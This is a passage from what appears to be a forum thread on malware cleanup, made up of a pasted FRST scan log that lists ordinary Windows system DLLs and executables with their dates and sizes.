2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Profile.SystemId.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\SysWOW64\sfc_os.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\SysWOW64\NAPCRYPT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\SysWOW64\mdmlocalmanagement.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\SysWOW64\format.com
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\SysWOW64\deskmon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\mapsupdatetask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\ErrorDetailsCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\credui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\TapiMigPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\jsproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\joinproviderol.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmocx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\ddrawex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\system32\wsplib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\system32\TokenBrokerUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044544 _____ (Microsoft Corporation) C:\windows\system32\OnDemandBrokerClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044504 _____ (Microsoft Corporation) C:\windows\SysWOW64\deviceassociation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044448 _____ (Microsoft Corporation) C:\windows\SysWOW64\mspatcha.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft) C:\windows\SysWOW64\csrr.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft) C:\windows\system32\csrr.rs

Twix. 06.06.2017 11:44
FRST7:
Code:
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft Corporation) C:\windows\SysWOW64\xcopy.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft Corporation) C:\windows\SysWOW64\vpnikeapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft Corporation) C:\windows\SysWOW64\dfscli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft Corporation) C:\windows\system32\notificationplatformcomponent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00044032 _____ (Microsoft Corporation) C:\windows\system32\lsmproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SensorsUtilsV2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043872 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlwoa.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043520 _____ (Microsoft Corporation) C:\windows\SysWOW64\signdrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043520 _____ (Microsoft Corporation) C:\windows\SysWOW64\networkitemfactory.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\UserDataLanguageUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\relog.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\lfsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043472 _____ (Microsoft Corporation) C:\windows\system32\PasswordOnWakeSettingFlyout.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00043472 _____ (Microsoft Corporation) C:\windows\system32\netutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlidnsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\virtdisk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\mf3216.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\lodctr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\LocationFrameworkInternalPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\Geocommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\BitsProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Printers.Extensions.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Portable.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\ucsvc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\RdpSa.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00042960 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\SysWOW64\RegCtrl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmloader.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\SysWOW64\CertEnrollCtrl.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\SysWOW64\ByteCodeGenerator.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\SysWOW64\AtBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\tokenbinding.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\LicenseManagerShellext.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\LaunchWinApp.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\htui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\DafDnsSd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\cmintegrator.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042448 _____ (Microsoft Corporation) C:\windows\SysWOW64\tbs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00042400 _____ (Microsoft Corporation) C:\windows\system32\sppinst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsdchngr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\SysWOW64\tpmcompc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\SysWOW64\spopk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\SysWOW64\pcaui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\SysWOW64\cscapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\linkinfo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\docprop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\cttunesvr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00041587 _____ C:\windows\SysWOW64\azman.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft) C:\windows\SysWOW64\cob-au.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft) C:\windows\system32\cob-au.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\SysWOW64\winrs.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\SysWOW64\typeperf.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdrleakdiag.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\winbioext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\tetheringconfigsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\lpkinstall.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\efsutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\EAMProgressHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vwifimp.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\dataclen.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\SortWindows61.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfctrs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\msscntrs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\iaspolcy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\forfiles.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\EtwRundown.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\unlodctr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\perfproc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\LockScreenContentHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040904 _____ (Microsoft Corporation) C:\windows\SysWOW64\svchost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00040840 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.XboxLive.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\SysWOW64\vbisurf.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcbcp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\SysWOW64\compact.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\SysWOW64\cipher.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\upnpcont.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\perfos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\perfdisk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040336 _____ (Microsoft Corporation) C:\windows\SysWOW64\utildll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00040328 _____ (Microsoft Corporation) C:\windows\SysWOW64\iri.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\SysWOW64\ustprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\SysWOW64\SortServer2003Compat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\SysWOW64\grpconv.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\SysWOW64\auditpolcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\SysWOW64\ACCTRES.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\XblGameSaveProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\UsbCApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\SecEdit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\Netplwiz.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00039424 _____ (Microsoft Corporation) C:\windows\SysWOW64\mciqtz32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039424 _____ (Microsoft Corporation) C:\windows\SysWOW64\kmddsp.tsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\XInput1_4.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-kernel-pnp-events.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\hidphone.tsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\gpprnext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038912 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmiclnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038912 _____ (Microsoft Corporation) C:\windows\SysWOW64\relog.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00038912 _____ (Microsoft Corporation) C:\windows\SysWOW64\RdpSa.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00038912 _____ (Microsoft Corporation) C:\windows\SysWOW64\mcicda.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038912 _____ (Microsoft Corporation) C:\windows\system32\navshutdown.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038912 _____ (Microsoft Corporation) C:\windows\system32\gmsaclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038816 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Diskdump.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\XInputUap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsmprovhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\wincredprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\wfdprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataTypeHelperUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\tlscsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\PSModuleDiscoveryProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\SysWOW64\dimsroam.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038400 _____ (Microsoft Corporation) C:\windows\system32\mimefilt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00038248 _____ (Microsoft Corporation) C:\windows\SysWOW64\PasswordOnWakeSettingFlyout.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\TokenBrokerUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\SecEdit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\pid.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\ErrorDetailsCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\bthudtask.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\amsi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\icacls.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\format.com
2017-03-18 22:58 - 2017-03-18 22:58 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\dmcfghost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037768 _____ (Microsoft Corporation) C:\windows\system32\UserAccountBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\Websocket.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataLanguageUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtffilt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\OnDemandBrokerClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\cliconfg.rll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\wiawow64.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\tcpmib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\SEMgrPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\scrnsave.scr
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\MirrorDrvCompat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\dialer.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00037256 _____ (Microsoft Corporation) C:\windows\SysWOW64\netutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\WalletProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\TaskSchdPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfproc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\msimtf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\embeddedmodesvcapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\docprop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\cttunesvr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmmon32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\wsmprovhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\tbauth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\Drivers\IndirectKmd.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\BackgroundTransferHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00036768 _____ (Microsoft Corporation) C:\windows\system32\LocationFrameworkPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036768 _____ (Microsoft Corporation) C:\windows\system32\DeviceCensus.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00036760 _____ (Microsoft Corporation) C:\windows\SysWOW64\sppinst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036352 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Printers.Extensions.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036352 _____ (Microsoft Corporation) C:\windows\SysWOW64\VoiceActivationManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036352 _____ (Microsoft Corporation) C:\windows\SysWOW64\uicom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036352 _____ (Microsoft Corporation) C:\windows\SysWOW64\pcacli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00036232 _____ (Microsoft Corporation) C:\windows\SysWOW64\msgsm32.acm
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\sscore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\pifmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\htui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\credui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\UIMgrBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\pifmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\MiracastInputMgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\dusmtask.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\upnpcont.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\traffic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\sfc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfdisk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\ndfetw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\dimsjob.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmlua.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\wpnsruprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\auditpol.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\tokenbinding.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\nshhttp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\Netplwiz.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\dusmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmband.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\CredentialMigrationHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\cnvfat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\SysWOW64\BackgroundTransferHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034816 _____ (Microsoft Corporation) C:\windows\system32\spaceman.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034720 _____ (Microsoft Corporation) C:\windows\SysWOW64\wininitext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034720 _____ (Microsoft Corporation) C:\windows\SysWOW64\cfmifs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034696 _____ (Microsoft Corporation) C:\windows\system32\reguwpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\SysWOW64\unlodctr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\SysWOW64\nci.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\SysWOW64\eventcreate.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\SysWOW64\esevss.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\wups2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\UsoClient.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\MapsTelemetry.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\canonurl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\aadauthhelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00034120 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserAccountBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\SysWOW64\XInput1_4.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Portable.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\SysWOW64\where.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\SysWOW64\mimefilt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\SysWOW64\LaunchWinApp.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\wuautoappupdate.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\DevQueryBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\ActivationClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033280 _____ (Microsoft Corporation) C:\windows\SysWOW64\werdiagcontroller.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033280 _____ (Microsoft Corporation) C:\windows\SysWOW64\atlthunk.dll
